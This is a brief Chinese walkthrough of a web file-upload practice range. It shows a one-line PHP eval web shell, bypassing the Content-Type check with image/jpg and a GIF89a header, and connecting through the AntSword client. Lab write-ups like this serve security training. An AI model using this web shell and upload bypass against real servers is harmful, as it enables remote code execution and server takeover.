web上传靶场

https://www.mozhe.cn/bug/detail/MGt2VGdsK093TkdtcURBSXFySnZpUT09bW96aGUmozhe
首先先传个图片抓个包

 

 

接下来传个一句话试试
<?php eval($_POST['abc']);?>

 

 

发现不行 抓个包发现Content-Type不对

 

修改成允许的image/jpg再次上传还是不可以

 

php头部加上GIF89a再次上传可以

 

目录尝试下先拿phpinfo();试下可以
蚁剑一连okk

。

（本题没有对后缀进行任何限制）